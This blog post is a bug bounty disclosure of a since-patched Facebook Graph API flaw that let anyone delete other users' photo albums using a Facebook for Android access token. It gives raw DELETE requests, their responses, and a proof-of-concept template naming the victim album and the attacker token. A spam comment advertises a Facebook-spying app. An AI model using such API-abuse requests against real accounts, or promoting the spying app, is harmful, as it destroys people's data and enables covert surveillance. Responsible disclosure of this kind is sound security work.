Facebook Album Delete Hack

What if your photos get deleted without your knowledge?

Obviously that’s very disgusting isn’t it? Yup this post is about a vulnerability found by me which allows a malicious user to delete any photo album on Facebook. Any photo album owned by an user or a page or a group could be deleted.

 

Graph API is primary way for developers to read and write the users data. All the Facebook apps of now are using Graph API. In general Graph API requires an access token to read or write users data. Read more about Graph API here.
According to Facebook developers documentation, photo albums cannot be deleted using the album node in Graph API.
I tried to delete one of my photo albums using graph explorer access token.
Request :-
DELETE /518171421550249 HTTP/1.1
Host :  graph.facebook.com 
Content-Length: 245
access_token=CAACEd…..MUZD
 
Response :-
{“error”:{“message”:”(#200) Application does not have the capability to make this API call.”,”type”:”OAuthException”,”code”:200}}
Why? Because this application doesn’t have the capability to delete photo album. But we need to note the error message. It tells us that some other application does have the capability to make this API call 😛
I decided to try it with Facebook for mobile access token because it is a top-level access token which have some extra permissions. Facebook mobile apps uses the same Graph API. so took an album id & Facebook for android access token of mine and tried it.
Request :-
DELETE /518171421550249 HTTP/1.1
Host :  graph.facebook.com 
Content-Length: 245
access_token=<Facebook_for_Android_Access_Token>
 
Response :-
true
Album(518171421550249) got deleted 😀 so whats the next step? Took victim’s album id and tried to delete it. I was very curious to see the result.
Request :-
DELETE /518171421550249 HTTP/1.1
Host :  graph.facebook.com 
Content-Length: 245
access_token=<Facebook_for_Android_Access_Token>
 
Response :-
true
OMG 😀 the album got deleted! So what? i got access to delete all of your Facebook photos (photos which are public or the photos i could see) 😛 lol 😀
Immediately reported this bug to Facebook security team. They were too fast in identifying this issue and there was a fix in place in less than 2 hours from the acknowledgement of the report.

Read more about getting Facebook for android access token [Capture Android HTTP/HTTPS Traffic].

Final Proof Of Concept :-

Request :-
DELETE /<Victim’s_photo_album_id> HTTP/1.1
Host :  graph.facebook.com 
Content-Length: 245
access_token=<Your(Attacker)_Facebook_for_Android_Access_Token>
if you aren’t sure about how to do it, please see this video [How I Hacked Your Public Facebook Photos]

Read how hackers could hack Facebook account and their prevention measures

Acknowledgement of fix and rewarded me $12500 USD for reporting this vulnerability.

ack

Now this vulnerability is completely fixed.

I thank Facebook Security Team for running bug bounty program and also for quickly fixing this issue 🙂

Read about my latest finding hacking Facebook account private photos.

HALL OF FAME : https://www.facebook.com/whitehat/thanks
Topping the list 😀

Laxman Muthiyah Facebook Whitehat Hacker Updated List 2015
SHARE

91 COMMENTS

  1. Es hora de saber quien es tú amigo hipócrita,quien habla mal de ti, si tu novio/a te es fiel, con está aplicación podrás tener vigilado el facebook de tús hijos, evitar secuestros, violaciones entre otras. Muchos ya han usado la aplicación y aseguran 100% de funcionalidad.¿Que esperáis? Sal de dudas ya.

    *PAGINA DE LA APLICACIÓN: http://donhacker.com/ *

  2. Awesome job bro…

    I'm very happy hearing that there are some good whitehats in India also..
    Congrats..

    Can you suggest me some great free online learning place for web development???

  3. Waw so simple but so nice! It's incredible… I mean, of course you're really smart and this was a great hack bu everybody could do this in few hours without a huge knowledge! That's so surprinsing!
    You also were able to delete posts and publish, Right?

  4. Hello.. M in a big problem and i hope i will get solution from this site..Actually my friends facebook profile has been hacked.. Somebody has created the public page with her name which contains all her pictures amd posts.. Everytime she posts or put pictures on her facebook page that public page also did the same..That page is not genuine and contains very bad comments in it..And the big problem is it contains my picture too..I want to know how to delete my picture from dat page beacuse i dont want it to remain there..Also how can we delete that page?? Please help me.. This is a big trouble for a girl..

  5. Hello.. Ι ΑΜ in a big problem and i hope i will get solution from this site..Actually my friend's facebook profile has been hacked.. Somebody has created the public page with her name which contains all her pictures amd posts.. Everytime she posts or put pictures on her facebook page that public page also did the same..That page is not genuine and contains very bad comments in it..And the big problem is it contains my picture too..I want to know how to delete my picture from that page beacuse i dont want it to remain there..Also how can we delete that page?? Please help me…..

  6. Virtually , you can use this method to delete any photo albums that belongs to a user who have registered to your facebook app , not any facebook user.

  7. Nice find. Keep inspiring people. 🙂 I have one silly question, hope i will get the answer. I cannot understand how is it showing "facebook for android" with app id, in APP ID section on your access token page.
    I actually created one facebook page long back and it is showing that page app id in the access token page.

LEAVE A REPLY